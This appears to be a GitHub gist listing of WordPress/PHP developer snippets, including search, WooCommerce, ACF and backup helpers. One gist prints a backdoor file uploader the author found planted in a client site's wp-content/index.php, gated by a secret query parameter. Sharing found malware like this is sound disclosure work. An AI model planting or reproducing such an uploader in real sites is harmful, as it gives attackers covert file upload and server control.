Skip to content

Instantly share code, notes, and snippets.

@solepixel
solepixel / listing-query.php
Created November 14, 2016 14:44
Algolia Search Implementation
<?php
/**
* Template function to output search results
*/
function display_listings(){
$algolia = Algolia_Plugin::get_instance();
$index = $algolia->get_api()->get_client()->initIndex( 'rpwp_posts_listing' );
$search = $index->search( '', mytheme_algolia_search_parameters() );
@solepixel
solepixel / index.php
Created December 17, 2016 19:36
Found this file sitting on one of my client site's wp-content/index.php files. Basically a public file uploader.
error_reporting(0);
if($_GET["posts"]=="va"){
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo "url:".$_FILES["upfile"]["name"];
if(!file_exists($_FILES["upfile"]["name"])){
copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);
}
}?>
<form method="post" enctype="multipart/form-data">
<?php
global $_started_time;
if( ! function_exists( '_perf_debug' ) ){
function _perf_debug( $file, $line, $comment = '' ){
global $_started_time;
$file = str_replace( $_SERVER['DOCUMENT_ROOT'], '', $file );
$time = microtime( true );
@solepixel
solepixel / batch-download-images.sh
Created March 2, 2017 19:33
Use wget to batch download a list of image URLs
wget -i image-list.txt --force-directories
<?php
/**
* Imported from Post Types Order deprecated code.
* https://github.com/alessandropellegrini/post-types-order/blob/master/include/functions.php
*/
if( ! function_exists( 'userdata_get_user_level' ) ){
function userdata_get_user_level( $return_as_numeric = FALSE ){
global $userdata;
@solepixel
solepixel / acf-convert-text-to-taxonomy-multi-select.php
Created August 23, 2017 17:24
This gist will provide legacy support for the instance when you need to convert an ACF field from a plain text field to a multi-select taxonomy field. It will convert existing values to the proper array format and pull in and convert original values to array. WARNING: It does not create new terms. This could be added pretty easily tho, however o…
<?php
# create your taxonomy
# In this example, I'm using "landing-section-class" as the taxonomy
# Remove the unneeded meta box
add_action( 'admin_menu', '_briand_remove_landing_section_class_metabox' );
function _briand_remove_landing_section_class_metabox() {
remove_meta_box( 'tagsdiv-landing-section-class', 'page', 'side' );
<?php
add_filter( 'wc_add_to_cart_params', 'kingcotton_remove_query_strings' );
add_filter( 'woocommerce_params', 'kingcotton_remove_query_strings' );
function kingcotton_remove_query_strings( $params ) {
$params['wc_ajax_url'] = '/?wc-ajax=%%endpoint%%';
return $params;
}
@solepixel
solepixel / disable-tribe-select2-contextual.php
Created November 16, 2017 16:29
When ACF and The Events Calendar both register/enqueue the same script (select2), there are conflicts. This should resolve the issue.
<?php
/**
* Disable Tribe Select2 on non-tribe admin pages
*/
function _theme_disable_tribe_select2() {
$screen = get_current_screen();
if ( 'tribe_events' === $screen->id ) {
return;
}
@solepixel
solepixel / unzip.php
Last active June 20, 2018 16:10
When load balancers have set timeouts at 30 seconds, this script will process requests that may take longer than 30 seconds (up to 15 minutes) without causing a timeout.
<?php
/**
* Source:
* @link https://web.archive.org/web/20160403212324/http://cloudsitesrock.com/?ac=list&cat=6&m=0&y=0
*/
$cmd = "zip -9prv content_backup.zip .";
$pipe = popen($cmd, 'r');
if (empty($pipe)) {
@solepixel
solepixel / unzip.php
Created June 20, 2018 16:09
When load balancers have set timeouts at 30 seconds, this script will process requests that may take longer than 30 seconds (up to 15 minutes) without causing a timeout.
<?php
$cmd = "zip -9prv content_backup.zip .";
$pipe = popen($cmd, 'r');
if (empty($pipe)) {
throw new Exception("Unable to open pipe for command '$cmd'");
}
stream_set_blocking($pipe, false);
echo "\n";